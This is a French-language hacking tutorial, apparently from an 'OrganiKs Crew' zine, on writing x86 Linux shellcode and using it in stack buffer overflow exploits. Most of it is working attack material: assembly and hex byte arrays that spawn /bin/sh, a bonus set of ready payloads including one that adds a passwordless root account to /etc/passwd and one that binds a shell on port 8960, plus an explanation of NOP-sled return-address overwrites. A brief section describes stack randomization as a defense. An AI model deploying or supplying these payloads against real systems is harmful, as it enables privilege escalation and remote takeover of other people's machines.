movl %esi,0xfffffff8(%ebp)

xorl %eax,%eax /* OU exclusif pour que eax sois remit a 0*/

movl %eax,0xfffffffc(%ebp)

leal 0xfffffff8(%ebp),%eax

pushl %eax

movl 0xfffffff8(%ebp),%eax

pushl %eax

call exec

addl $0xc,%esp

movl %ebp,%esp

popl %ebp

/* execve */

exec:

pushl %ebx

movl 0x10(%esp,1),%edx

movl 0xc(%esp,1),%ecx

movl 0x8(%esp,1),%ebx

movl $0xb,%eax

int $0x80

popl %ebx

/* envoie vers main */

call:

call main

.string "/bin/sh"

/* fin shell2.S */

Maintenent fait:

as -a -o shell2.o shell2.S > shell2.asm ; ld -o shell2 shell2.o

[Lionel@OrganiKs]$ ./shell2

bash$ exit

exit

Bienssur ce code ne vas pas du tous mais cela vas vous aider a mieux

comprendre comment ca se passe ...

2-1)Shellcode via connaissance in asm

-------------------------------------

Bon la faut connaitre un peu l'asm , c'est obligé!!

Si vous avez lut le chapitre d'avant ca pourra vous aidez à mieux configurer

les parametres et mieux comprendre.

Il vous faudrez "nasm" un compilateur d'asm pour linux!!Grace a lui tu peus

compiler des trucs en asm pour presque n'importe quelle platforme, c'est super

bien! a)expliquation:

---------------

Voila ce que l'on veut faire:

---shell.c---

void main() {

char *argc;

argc="/bin/sh";

execve(argc,&argc, 0);

---EOF---

Ca doit donner ca en asm:

----schema----

int(EBX, ECX, EDX);

----EOF----

EBX ECX EDX

int execve(const char *file, char **const argv, char **const envp);

EAX,EBX,ECX,EDX sont des registres 32 bits en asm!

INT va appeler une interruption.En gros c'est egale a execve.

EBX va contenir "/bin/sh",0.

ECX va contenir "sh"

EDX va contenir "0" (NULL).

EAX va contenir 11 (11 est une fonction de int80, je l'ai trouver grace au

chapitre plus haut)

Voici la liste de toute les fonctions pour int 80:

--<asm/unistd.h>--

#define __NR_setup 0 /* used only by init, to get system

going */

#define __NR_exit 1

#define __NR_fork 2

#define __NR_read 3

#define __NR_write 4

#define __NR_open 5

#define __NR_close 6

#define __NR_waitpid 7

#define __NR_creat 8

#define __NR_link 9

#define __NR_unlink 10

#define __NR_execve 11

#define __NR_chdir 12

#define __NR_time 13

#define __NR_mknod 14

#define __NR_chmod 15

#define __NR_chown 16

#define __NR_break 17

#define __NR_oldstat 18

#define __NR_lseek 19

#define __NR_getpid 20

#define __NR_mount 21

#define __NR_umount 22

#define __NR_setuid 23

#define __NR_getuid 24

#define __NR_stime 25

#define __NR_ptrace 26

#define __NR_alarm 27

#define __NR_oldfstat 28

#define __NR_pause 29

#define __NR_utime 30

#define __NR_stty 31

#define __NR_gtty 32

#define __NR_access 33

#define __NR_nice 34

#define __NR_ftime 35

#define __NR_sync 36

#define __NR_kill 37

#define __NR_rename 38

#define __NR_mkdir 39

#define __NR_rmdir 40

#define __NR_dup 41

#define __NR_pipe 42

#define __NR_times 43

#define __NR_prof 44

#define __NR_brk 45

#define __NR_setgid 46

#define __NR_getgid 47

#define __NR_signal 48

#define __NR_geteuid 49

#define __NR_getegid 50

#define __NR_acct 51

#define __NR_phys 52

#define __NR_lock 53

#define __NR_ioctl 54

#define __NR_fcntl 55

#define __NR_mpx 56

#define __NR_setpgid 57

#define __NR_ulimit 58

#define __NR_oldolduname 59

#define __NR_umask 60

#define __NR_chroot 61

#define __NR_ustat 62

#define __NR_dup2 63

#define __NR_getppid 64

#define __NR_getpgrp 65

#define __NR_setsid 66

#define __NR_sigaction 67

#define __NR_sgetmask 68

#define __NR_ssetmask 69

#define __NR_setreuid 70

#define __NR_setregid 71

#define __NR_sigsuspend 72

#define __NR_sigpending 73

#define __NR_sethostname 74

#define __NR_setrlimit 75

#define __NR_getrlimit 76

#define __NR_getrusage 77

#define __NR_gettimeofday 78

#define __NR_settimeofday 79

#define __NR_getgroups 80

#define __NR_setgroups 81

#define __NR_select 82

#define __NR_symlink 83

#define __NR_oldlstat 84

#define __NR_readlink 85

#define __NR_uselib 86

#define __NR_swapon 87

#define __NR_reboot 88

#define __NR_readdir 89

#define __NR_mmap 90

#define __NR_munmap 91

#define __NR_truncate 92

#define __NR_ftruncate 93

#define __NR_fchmod 94

#define __NR_fchown 95

#define __NR_getpriority 96

#define __NR_setpriority 97

#define __NR_profil 98

#define __NR_statfs 99

#define __NR_fstatfs 100

#define __NR_ioperm 101

#define __NR_socketcall 102

#define __NR_syslog 103

#define __NR_setitimer 104

#define __NR_getitimer 105

#define __NR_stat 106

#define __NR_lstat 107

#define __NR_fstat 108

#define __NR_olduname 109

#define __NR_iopl 110

#define __NR_vhangup 111

#define __NR_idle 112

#define __NR_vm86 113

#define __NR_wait4 114

#define __NR_swapoff 115

#define __NR_sysinfo 116

#define __NR_ipc 117

#define __NR_fsync 118

#define __NR_sigreturn 119

#define __NR_clone 120

#define __NR_setdomainname 121

#define __NR_uname 122

#define __NR_modify_ldt 123

#define __NR_adjtimex 124

#define __NR_mprotect 125

#define __NR_sigprocmask 126

#define __NR_create_module 127

#define __NR_init_module 128

#define __NR_delete_module 129

#define __NR_get_kernel_syms 130

#define __NR_quotactl 131

#define __NR_getpgid 132

#define __NR_fchdir 133

#define __NR_bdflush 134

#define __NR_sysfs 135

#define __NR_personality 136

#define __NR_afs_syscall 137 /* Syscall for Andrew File System */

#define __NR_setfsuid 138

#define __NR_setfsgid 139

#define __NR__llseek 140

#define __NR_getdents 141

#define __NR__newselect 142

#define __NR_flock 143

#define __NR_msync 144

#define __NR_readv 145

#define __NR_writev 146

#define __NR_getsid 147

#define __NR_fdatasync 148

#define __NR__sysctl 149

#define __NR_mlock 150

#define __NR_munlock 151

#define __NR_mlockall 152

#define __NR_munlockall 153

#define __NR_sched_setparam 154

#define __NR_sched_getparam 155

#define __NR_sched_setscheduler 156

#define __NR_sched_getscheduler 157

#define __NR_sched_yield 158

#define __NR_sched_get_priority_max 159

#define __NR_sched_get_priority_min 160

#define __NR_sched_rr_get_interval 161

#define __NR_nanosleep 162

#define __NR_mremap 163

---EOF---

C'est pas beau la vie? :)

b)1er exemple

-------------

---Shell.S---

global main

main:

section .text

mov eax, 11 ; copie la fonction 11 dans EAX

mov ebx, file ; copie file dans EBX

mov [argv], ebx ; copie EBX dans PEKARE1

mov ecx, argv ; copie pekare1 dans ECX

mov edx, envp ; copie pekare2 dans EDX

int 80h ; c'est la commande execve

section .data

file db "/bin/sh",0

argv dd 0

envp dd 0

---EOF---

Voila ce que ça donne en asm, mais c'est pas fini!

c)insertion de "jmp", "pop" et "call"

-------------------------------------

Exemple:

----Shell2.S----

global main

main: ;debut

section .text

jmp calladr ; saute sur l'adresse call

start:

pop ebx ; pop prend file qui est

; sur la pile

mov eax, 11 ; fonction 11 de int80

;mov ebx, file ; copie file dans EBX

;mov [argv], ebx ; copie EBX dans argv

mov [ebx+8], ebx ; copie EBX dans EBX+8

;mov ecx, argv ; copie argv dans ECX

lea ecx, [ebx+8] ; EBX+8 dans ECX

;mov edx, envp ; copie envp dans EDX

lea edx, [ebx+11] ; EBX+11= envp copie envp dans EDX

int 80h ; execve , initialise...

calladr: ; adresse call

call start ; saute sur l'adresse start

file db "/bin/sh",0 ;la variable est d'un type byte on utilise db

; copie dans file l'adresse de/bin/sh

argv dd 0 ;la variable est d'un type entier on utilise dd

; copie dans argv 0

envp dd 0 ; idem que argv

----EOF----

Pour mieux comprendre se que je fais, faut deja lire de la doc sur l'asm, bon

et pour ce qui comprenderais pas tous je vais vous expliquer comment je fais:

En faite il faut s'imaginer ca:

EBX ECX EDX

REG----|-------|-|--|-|-|------------------------------------------

0 7 8 10

/bin/sh sh 0

Bon je sais ca saute pas au yeux du premier coup mais reflechisser un peu ,

regarder le code et ca , vous devriez comprendre!

Bon maintenent faut compiler avec "nasm" :)

syntaxe:

[Lionel@OrganiKs]$ nasm -f aout -o shell2 shell2.S

[Lionel@OrganiKs]$ chmod +x shell2

[Lionel@OrganiKs]$ ./shell2

bash$ exit

exit

Deja ca marche :o)

Bon maintenent gdb ...

[Lionel@OrganiKs]$ gdb shell2

GNU gdb 4.17

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux"...

(no debugging symbols found)...

(gdb) x/bx main

0x0 <main>: 0xe9

(gdb)

0x1 <main+1>: 0x11

(gdb)

0x2 <main+2>: 0x00

(gdb)

0x3 <main+3>: 0x00

(gdb) ....

en C:

char shellcode[] =

"\xe9\x11\x00\x00\....

d)On suprime argv et envp

-------------------------

Ici j'explique comment enlever argv et envp...

-------Shell3.S------

[global main]

main:

jmp calladress

start:

pop ebx

mov [ebx+8], ebx

xor esi, esi ; ceci est une port ou exclusif qui rend esi null

; esi est un registre

mov [ebx+12], esi ; on copie esi(0) a l'emplacement ebx+12

mov eax, 11

lea ecx, [ebx+8]

lea edx, [ebx+12] ; on copie ebx+12(0) dans edx

int 80h

calladress:

call start

file db "/bin/sh",0

-----EOF-----

syntaxe:

[Lionel@OrganiKs]$ nasm -f aout -o shell3 shell3.S

[Lionel@OrganiKs]$ chmod +x shell3

[Lionel@OrganiKs]$ ./shell3

bash$ exit

exit

[Lionel@OrganiKs]$ gdb shell3

GNU gdb 4.17

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux"...

(no debugging symbols found)...

(gdb) x/bx main

0x0 <main>: 0xe9

(gdb)

0x1 <main+1>: 0x16

(gdb)

0x2 <main+2>: 0x00

(gdb)

0x3 <main+3>: 0x00

(gdb) ...

char shellcode[]=

"\xe9\x16\x00\...

Voila ce que ca donne a la fin:

----Shell.c----

char shellcode[]=

"\xe9\x16\x00\x00\x00\x5b\x89\x5b\x08\x31\xf6\x89\x73\x0c\xb8\x0b"

"\x00\x00\x00\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff"

"/bin/sh\0";

void main()

{

int *ret;

printf("OrganiKs Crew\n");

ret = (int *)&ret + 2;

(*ret) = (int)shellcode;

}

----EOF----

[Lionel@OrganiKs]$ cc -o shell shell.c

[Lionel@OrganiKs]$ ./shell

OrganiKs Crew

bash$ exit

exit

e)Supression des bytes Null

---------------------------

Pour que notre shellcode marche dans un exploit nous devons enlever tous les

bytes null ("x00").

Notre nouveau code donne ça:

-------Shell4.S------

global main

main:

jmp short calladress ; short c'est pour eviter les bytes null

hit:

pop ebx

mov [ebx+8], ebx

xor eax, eax ; on met eax car al le remplace apres

mov [ebx+7], al ; ce ci met un 0 apres /bin/sh

mov [ebx+12], eax

mov al, 11 ; on change eax par al un registre

; equivalent qui ne fera pas de bytes null

lea ecx, [ebx+8]

lea edx, [ebx+12]

int 80h ; execute /bin/sh

calladress:

call hit

porgg db "/bin/sh"

-----EOF-----

[Lionel@OrganiKs]$ nasm -f aout -o shell4 shell4.S

[Lionel@OrganiKs]$ ./shell4

bash$ exit

exit

[Lionel@OrganiKs]$ gdb shell4

GNU gdb 4.17

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux"...

(no debugging symbols found)...

(gdb) x/bx main

0x0 <main>: 0xeb

(gdb) ...

----Sell2.c-----

char shellcode[]=

"\xeb\x16\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b"

"\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff/bin/sh";

void main()

{

int *ret;

printf("OrganiKs Crew\n");

ret = (int *)&ret + 2;

(*ret) = (int)shellcode;

}

----EOF----

[Lionel@OrganiKs]$ cc -o shell2 shell.c

[Lionel@OrganiKs]$ ./shell2

OrganiKs Crew

bash$ exit

exit

Voila vous avez fait un shellcode!!!!!

f)Conclusion

------------

Ca reste t'ou de meme assez complexe, je ne serais que vous conseillez de lire

de la bonne doc sur l'asm, et je vous souhaites bonne chance!

3) Bonus!

---------

Vue que tu es surement comme moi pas tres bon en asm, voila des good shellcode

en format Source asm et en C:

/*

* Source to this is pass.s

* This will append a root line to the passwd file (see the source).

*

* Shok (Matt Conover), shok@dataforce.net

*/

char shellcode[]=

"\xeb\x03\x5f\xeb\x05\xe8\xf8\xff\xff\xff\x31\xdb\xb3\x35\x01\xfb"

"\x30\xc0\x88\x43\x0b\x31\xc9\x66\xb9\x41\x04\x31\xd2\x66\xba\xa4"

"\x01\x31\xc0\xb0\x05\xcd\x80\x89\xc3\x31\xc9\xb1\x41\x01\xf9\x31"

"\xd2\xb2\x1f\x31\xc0\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x2f"

"\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x01\x77\x30\x30\x77\x30"

"\x30\x3a\x3a\x30\x3a\x30\x3a\x77\x30\x77\x30\x77\x21\x3a\x2f\x3a"

"\x2f\x62\x69\x6e\x2f\x73\x68\x0a";

void main()

{

int *ret;

printf("w00w00!\n");

ret = (int *)&ret + 2;

(*ret) = (int)shellcode;

}

-----imap.S-------

.globl main

main:

jmp call

start:

popl %ebx /* get address of /bin/sh */

movl %ebx,%ecx /* copy the address to ecx */

addb $0x6,%cl /* ecx now points to the last character */

loop:

cmpl %ebx,%ecx

jl skip /* if (ecx<ebx) goto skip */

addb $0x20,(%ecx) /* adds 0x20 to the byte pointed to by %ecx */

decb %cl /* move the pointer down by one */

jmp loop

skip:

/* generic shell-spawning code */

movl %ebx,0x8(%ebx)

xorl %eax,%eax

movb %eax,0x7(%ebx)

movl %eax,0xc(%ebx)

movb $0xb,%al

leal 0x8(%ebx),%ecx

leal 0xc(%ebx),%edx

int $0x80

xorl %eax,%eax

inc %al

int $0x80

call:

call start

.string "\x0f\x42\x49\x4e\x0f\x53\x48"

--------------

----Imap shellcode-----

char shellcode[]=

"\xEB\x2C\x5B\x89\xD9\x80\xC1\x06\x39\xD9\x7C\x07\x80\x01\x20\xFE\xC9\xEB"

"\xF5\x89\x5B\x08\x31\xC0\x88\x43\x07\x89\x43\x0C\xB0\x0B\x8D\x4B\x08\x8D"

"\x53\x0C\xCD\x80\x31\xC0\xFE\xC0\xCD\x80\xE8\xCF\xFF\xFF\xFF\x0f\x42\x49"

"\x4e\x0f\x53\x48";

void main()

{

int *ret;

printf("OrganiKs Crew\n");

ret = (int *)&ret + 2;

(*ret) = (int)shellcode;

}

---EOF---

----portshell.S----

.globl main

main:

/* I had to put in a "bounce" in the middle of the code as the shellcode

* was too big. If I had made it jmp the entire shellcode, the instruction

* would have contained a null byte, so if anyone has a shorter version,

* please send me it.

*/

jmp bounce

start:

popl %esi

/* socket(2,1,0) */

xorl %eax,%eax

movl %eax,0x8(%esi) /* 3rd arg == 0 */

movl %eax,0xc(%esi) /* zero out sock.sin_family&sock.sin_port */

movl %eax,0x10(%esi) /* zero out sock.sin_addr */

incb %al

movl %eax,%ebx /* socket() subcode == 1 */

movl %eax,0x4(%esi) /* 2nd arg == 1 */

incb %al

movl %eax,(%esi) /* 1st arg == 2 */

movw %eax,0xc(%esi) /* sock.sin_family == 2 */

leal (%esi),%ecx /* load the address of the arguments into %ecx */

movb $0x66,%al /* set socket syscall number */

int $0x80

/* bind(fd,&sock,0x10) */

incb %bl /* bind() subcode == 2 */

movb %al,(%esi) /* 1st arg == fd (result from socket()) */

movl %ecx,0x4(%esi) /* copy address of arguments into 2nd arg */

addb $0xc,0x4(%esi) /* increase it by 12 bytes to point to sockaddr struct */

movb $0x10,0x8(%esi) /* 3rd arg == 0x10 */

movb $0x23,0xe(%esi) /* set sin.port */

movb $0x66,%al /* no need to set %ecx, it is already set */

int $0x80

/* listen(fd,2) */

movl %ebx,0x4(%esi) /* bind() subcode==2, move this to the 2nd arg */

incb %bl /* no need to set 1st arg, it is the same as bind() */

incb %bl /* listen() subcode == 4 */

movb $0x66,%al /* again, %ecx is already set */

int $0x80

/* fd2=accept(fd,&sock,&fromlen) */

incb %bl /* accept() subcode == 5 */

movl %ecx,0x4(%esi) /* copy address of arguments into 2nd arg */

addb $0xc,0x4(%esi) /* increase it by 12 bytes */

movl %ecx,0x4(%esi) /* copy address of arguments into 3rd arg */

addb $0x1c,0x4(%esi) /* increase it by 12+16 bytes */

movb $0x66,%al

int $0x80

/* KLUDGE */

jmp skippy

bounce:

jmp call

skippy:

/* dup2(fd2,0) dup2(fd2,1) dup2(fd2,2) */

movb %al,%bl /* move fd2 to 1st arg */

xorl %ecx,%ecx /* 2nd arg is 0 */

movb $0x3f,%al /* set dup2() syscall number */

int $0x80

incb %cl /* 2nd arg is 1 */

movb $0x3f,%al

int $0x80

incb %cl /* 2nd arg is 2 */

movb $0x3f,%al

int $0x80

/* execve("/bin/sh",["/bin/sh"],NULL) */

movl %esi,%ebx

addb $0x20,%ebx /* %ebx now points to "/bin/sh" */

xorl %eax,%eax

movl %ebx,0x8(%ebx)

movb %al,0x7(%ebx)

movl %eax,0xc(%ebx)

movb $0xb,%al

leal 0x8(%ebx),%ecx

leal 0xc(%ebx),%edx

int $0x80

/* exit(0) */

xorl %eax,%eax

movl %eax,%ebx

incb %al

int $0x80

call:

call start

.ascii "abcdabcdabcd""abcdefghabcdefgh""abcd""/bin/sh"

-----------------------------------------------------

-----PORT SHELL (bind a shell on port 8960)------

char shellcode[]=

"\xEB\x59\x5E\x31\xC0\x89\x46\x08\x89\x46\x0C\x89\x46\x10\xFE\xC0"

"\x89\xC3\x89\x46\x04\xFE\xC0\x89\x06\x66\x89\x46\x0C\x8D\x0E\xB0"

"\x66\xCD\x80\xFE\xC3\x88\x06\x89\x4E\x04\x80\x46\x04\x0C\xC6\x46"

"\x08\x10\xC6\x46\x0E\x23\xB0\x66\xCD\x80\x89\x5E\x04\xFE\xC3\xFE"

"\xC3\xB0\x66\xCD\x80\xFE\xC3\x89\x4E\x04\x80\x46\x04\x0C\x89\x4E"

"\x04\x80\x46\x04\x1C\xB0\x66\xCD\x80\xEB\x02\xEB\x36\x88\xC3\x31"

"\xC9\xB0\x3F\xCD\x80\xFE\xC1\xB0\x3F\xCD\x80\xFE\xC1\xB0\x3F\xCD"

"\x80\x89\xF3\x80\xC3\x20\x31\xC0\x89\x5B\x08\x88\x43\x07\x89\x43"

"\x0C\xB0\x0B\x8D\x4B\x08\x8D\x53\x0C\xCD\x80\x31\xC0\x89\xC3\xFE"

"\xC0\xCD\x80\xE8\x6A\xFF\xFF\xFF\abcdabcdabcdabcdefghabcdefghabcd"

"/bin/sh";

void main()

{

int *ret;

printf("OrganiKs Crew: bind on port 8960\n");

ret = (int *)&ret + 2;

(*ret) = (int)shellcode;

}

---EOF---

----------------FreeBSD shellcode-----------

----fbsd.S----

.globl main

main:

jmp call

start:

/* Modify the ascii string so it becomes lcall 7,0 */

popl %esi

xorl %ebx,%ebx

movl %ebx,0x1(%esi) /* zeroed long word */

movb %bl,0x6(%esi) /* zeroed byte */

movl %esi,%ebx

addb $0x8,%bl /* ebx points to binsh */

jmp blah /* start the code */

call:

call start

syscall:

.ascii "\x9a\x01\x01\x01\x01\x07\x01" /* hidden lcall 7,0 */

ret

binsh:

.ascii "/bin/sh...."

blah:

/* put shellcode here */

call syscall

-----EOF----

Thx to b4b0, w00w00, !ADM...And swedish ;)

VI)-Le but de l'exploit(voir l'article de "ankou" thx)

-----------------------------------------------------------

Notre but est de remplacer la valeur de ret ( l'adresse de retour d'origine )

par celle qui fait executer notre shellcode.

1-)

Buffer sfp ret

<------ [ ][ ][ ]

bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF top of

memory 89ABCDEF0123456789AB CDEF 0123 memory

<------ [NNNNNNNNNNJJSSSSCCss][ssss][0xD8]

^ | ^ ^| |

|_________|_|___||____________| (1)

(2) |_|___||

|____| (3)

top of bottom of

stack stack

2-)

----------------------------------

| buffer | ebp | ret |

----------------------------------

| NOP | shellcode | addr.shell |

----------------------------------

Le schema 1:

- buffer represente l'espace en memoire d' une variables d'un programme.

- ret est l'adresse de retour de la fonction.

- N = NOP (0x90)

- J = JMP (0xeb) qui correspond un saut (jump) relatif vers une autre adresse.

- S = Shell qui execute un shell /bin/sh

- C = CALL qui dit d'executer le code a l'adresse specifier.

- s = string qui represente des caracteres sans interets.

Le but pour faire deborder un buffer est de mettre le buffer dans la zone

buffer+sfp+ret (voir plus si besoin), et de remplacer l'adresse 'ret'

par une adresse qui pointe dans la zone NOP.

Ca impliquera dans l'ordre :

(1) 'ret' pointe en 0xD8 qui est dans la zone NOP.

Notre pointeur se deplace vers la droite ( car NOP = rien ) jusqu'au JMP.

(2) Le JMP est relatif et pointe CALL. Notre pointeur se place sur CALL et lit l'adresse a executer.

Cette adresse pointe le debut du Shell.

(3) Notre pointeur se place au debut du Shell et l'execute.

Le schema 2 est a peut pres pareille que le 1.

VII)-Trouver le buffer exploitable dans un code

-----------------------------------------------

Les fonctions qui sont vulnerables sont gets(), sprintf(), strcpy(), strcat(), ainsi que des fonctions jugees "plus secures"

telles que snprintf() ou bopcy(), si celles-ci sont mal utilisees. De plus,

toute fonction de libc (ou toute autre librairie) faisant appel a de telles

fonctions sont, elles-aussi, contaminés par la vulnerabilite, par exemple

certaines vieilles versions de syslog().

VIII)- PETIT PLUS(shellcode de aleph1)

--------------------------------------

shellcode.h

------------------------------------------------------------------------------

#if defined(__i386__) && defined(__linux__)

#define NOP_SIZE 1

char nop[] = "\x90";

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {

__asm__("movl %esp,%eax");

}

#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)

#define NOP_SIZE 4

char nop[]="\xac\x15\xa1\x6e";

char shellcode[] =

"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"

"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"

"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"

"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";

unsigned long get_sp(void) {

__asm__("or %sp, %sp, %i0");

}

#elif defined(__sparc__) && defined(__sun__)

#define NOP_SIZE 4

char nop[]="\xac\x15\xa1\x6e";

char shellcode[] =

"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"

"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"

"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"

"\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";

unsigned long get_sp(void) {

__asm__("or %sp, %sp, %i0");

}

#endif

------------------------------------------------------------------------------

IX)-Solution aux buffer overflows!

----------------------------------

En faite pour eviter que le programme sois exploitable , il y a une petite

solution.Il faut que a chaque lancement du prog , l'adresse de la stack change

pour cela voici un petit code qui faut rajouter au code:

exemple:

1-)code exploitable

main() {

char buffer[1024];

printf("buffer=%p\n", buffer);

gets(buffer); /* vulnerable */

return 0;

}

2-)RANDOM STACK rajouté à notre code

#include <unistd.h>

#include <fcntl.h>

#include <stdlib.h>

real_main() {

char buffer[1024];

printf("buffer=%p\n", buffer);

gets(buffer); /* insecure! */

return 0;

}

main() {

if(getenv("RANDOM_STACK")) {

void *x;

int fd;

size_t n;

ssize_t m;

char buffer[sizeof (size_t)];

fd = open("/dev/urandom", O_RDONLY);

read(fd, buffer, sizeof (size_t));

close(fd);

n = *(size_t *)buffer;

n %= atoi(getenv("RANDOM_STACK"));

x = alloca(n);

}

exit(real_main());

}

autre solution:

---------------

http://www.false.com/security/linux/index.html

X)- CONCLUSION & GREETz

-----------------------

Conclusion simple : j'espere que vous avez compris le contexte , et que j'ai

pas dit trop de connerie.

PS: sorry pour l'orthographe, vous comprenez le texte est long...

Greetz To:

aleph1,Richard Kettlewell,Spyjure,SDI,linux-sa,tekneeq,happy-h,nanard,

NearZ,rwx,cyberarmy,ADM crew,w00w00,jsbach,b4b0,...And

clemm, spoty , ank , k-roleen, shado, klog, rockme, XSFX,

3d13, organiks,[fred], torcy&marcx dormoy&18eme (Ali k.,

Xav,Olivier,Mathieux,Mémet,Arnauld,Camel,...),cantepeau(sophie,ced,youness,

seb,la shente,bouboule,ouadgerie, ...), toulouse(Gui.,florian,Lionel,JM,Dav,

Vincent,Bruno,yohan,seb,cyril,damien,...).......Et tous ce que j'oublie...

OrganiKs Crew! @-mefi toi de l'esprit malin-@

---EOF---